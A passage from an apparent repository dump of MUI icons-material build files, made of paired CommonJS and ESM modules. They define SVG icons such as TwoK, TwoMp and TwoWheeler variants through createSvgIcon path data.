8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13.5H7.5v-1H9c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1H6v1.5h2.5v1H7c-.55 0-1 .45-1 1V15h4zm2.5-.75L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"2\")], 'TwoKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKPlusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zm-5 3.5c0-.55.45-1 1-1h1.5v-1H6V9h3c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H7.5v1H10V15H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13.5H7.5v-1H9c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1H6v1.5h2.5v1H7c-.55 0-1 .45-1 1V15h4zm2.5-.75L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"2\")], 'TwoKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 9.5H8v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H7.5c-.55 0-1-.45-1-1v-1.5c0-.55.45-1 1-1h2v-1H7.25c-.41 0-.75-.34-.75-.75S6.84 9 7.25 9H10c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1m6.59 2.5c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'TwoKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 9.5H8v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H7.5c-.55 0-1-.45-1-1v-1.5c0-.55.45-1 1-1h2v-1H7.25c-.41 0-.75-.34-.75-.75S6.84 9 7.25 9H10c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1m6.59 2.5c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'TwoKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM8 12.5v1h3V15H6.5v-3.5h3v-1h-3V9H11v3.5zM18 15h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'TwoKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM8 12.5v1h3V15H6.5v-3.5h3v-1h-3V9H11v3.5zM18 15h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'TwoKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zm-6.5 3.5c0-.55.45-1 1-1h2v-1h-3V9H10c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H8v1h3V15H6.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13.5H8v-1h2c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1H6.5v1.5h3v1h-2c-.55 0-1 .45-1 1V15H11zm3.5-.75L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"2\")], 'TwoKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zm-6.5 3.5c0-.55.45-1 1-1h2v-1h-3V9H10c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H8v1h3V15H6.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13.5H8v-1h2c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1H6.5v1.5h3v1h-2c-.55 0-1 .45-1 1V15H11zm3.5-.75L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"2\")], 'TwoKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm-2-9.5h-2v1h3v1.5H10V9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m2 5H17v1.5h-1.5z\"\n}), 'TwoMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm-2-9.5h-2v1h3v1.5H10V9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m2 5H17v1.5h-1.5z\"\n}), 'TwoMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 10h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H10V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"2\")], 'TwoMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 10h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H10V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"2\")], 'TwoMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 6c0-.55.45-1 1-1h2V7h-2.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H11c-.55 0-1-.45-1-1zm2.5 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'TwoMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 6c0-.55.45-1 1-1h2V7h-2.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H11c-.55 0-1-.45-1-1zm2.5 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'TwoMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm7 5h3V7h-3V5.5h4.5V9h-3v1h3v1.5H10zm2.5 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwoMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm7 5h3V7h-3V5.5h4.5V9h-3v1h3v1.5H10zm2.5 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwoMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M10 9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h3v1.5H10zm-4 4.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 10h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H10V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"4\")], 'TwoMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M10 9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h3v1.5H10zm-4 4.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 10h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H10V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"4\")], 'TwoMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoWheeler.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11c-.18 0-.36.03-.53.05L17.41 9H20V6l-3.72 1.86L13.41 5H9v2h3.59l2 2H11l-4 2-2-2H0v2h4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4l2 2h3l3.49-6.1 1.01 1.01c-.91.73-1.5 1.84-1.5 3.09 0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4M4 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m16 0c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'TwoWheeler');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoWheeler.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11c-.18 0-.36.03-.53.05L17.41 9H20V6l-3.72 1.86L13.41 5H9v2h3.59l2 2H11l-4 2-2-2H0v2h4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4l2 2h3l3.49-6.1 1.01 1.01c-.91.73-1.5 1.84-1.5 3.09 0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4M4 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m16 0c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'TwoWheeler');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoWheelerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.17 11H4zm9.24-6H9v2h3.59l2 2H11l-4 2-2-2H0v2h4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4l2 2h3l3.49-6.1 1.01 1.01c-.91.73-1.5 1.84-1.5 3.09 0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4c-.18 0-.36.03-.53.05L17.41 9H20V6l-3.72 1.86zM20 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M4 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'TwoWheelerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoWheelerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.17 11H4zm9.24-6H9v2h3.59l2 2H11l-4 2-2-2H0v2h4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4l2 2h3l3.49-6.1 1.01 1.01c-.91.73-1.5 1.84-1.5 3.09 0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4c-.18 0-.36.03-.53.05L17.41 9H20V6l-3.72 1.86zM20 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M4 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'TwoWheelerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoWheelerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11c-.18 0-.36.03-.53.05L17.41 9H19c.55 0 1-.45 1-1v-.38c0-.74-.78-1.23-1.45-.89l-2.28 1.14L13.7 5.3c-.18-.19-.44-.3-.7-.3h-3c-.55 0-1 .45-1 1s.45 1 1 1h2.17c.27 0 .52.11.71.29L14.59 9h-3.35c-.16 0-.31.04-.45.11l-3.14 1.57c-.38.19-.85.12-1.15-.19l-1.2-1.2C5.11 9.11 4.85 9 4.59 9H1c-.55 0-1 .45-1 1s.45 1 1 1h3C1.48 11-.49 13.32.11 15.94c.33 1.45 1.5 2.62 2.95 2.95C5.68 19.49 8 17.52 8 15l1.41 1.41c.38.38.89.59 1.42.59h1.01c.72 0 1.38-.38 1.74-1.01l2.91-5.09 1.01 1.01c-1.13.91-1.76 2.41-1.38 4.05.34 1.44 1.51 2.61 2.95 2.94 2.61.59 4.93-1.39 4.93-3.9 0-2.21-1.79-4-4-4M4 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m16 0c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'TwoWheelerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoWheelerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11c-.18 0-.36.03-.53.05L17.41 9H19c.55 0 1-.45 1-1v-.38c0-.74-.78-1.23-1.45-.89l-2.28 1.14L13.7 5.3c-.18-.19-.44-.3-.7-.3h-3c-.55 0-1 .45-1 1s.45 1 1 1h2.17c.27 0 .52.11.71.29L14.59 9h-3.35c-.16 0-.31.04-.45.11l-3.14 1.57c-.38.19-.85.12-1.15-.19l-1.2-1.2C5.11 9.11 4.85 9 4.59 9H1c-.55 0-1 .45-1 1s.45 1 1 1h3C1.48 11-.49 13.32.11 15.94c.33 1.45 1.5 2.62 2.95 2.95C5.68 19.49 8 17.52 8 15l1.41 1.41c.38.38.89.59 1.42.59h1.01c.72 0 1.38-.38 1.74-1.01l2.91-5.09 1.01 1.01c-1.13.91-1.76 2.41-1.38 4.05.34 1.44 1.51 2.61 2.95 2.94 2.61.59 4.93-1.39 4.93-3.9 0-2.21-1.79-4-4-4M4 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m16 0c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'TwoWheelerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoWheelerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.17 11H4zm9.24-6H9v2h3.59l2 2H11l-4 2-2-2H0v2h4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4l2 2h3l3.49-6.1 1.01 1.01c-.91.73-1.5 1.84-1.5 3.09 0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4c-.18 0-.36.03-.53.05L17.41 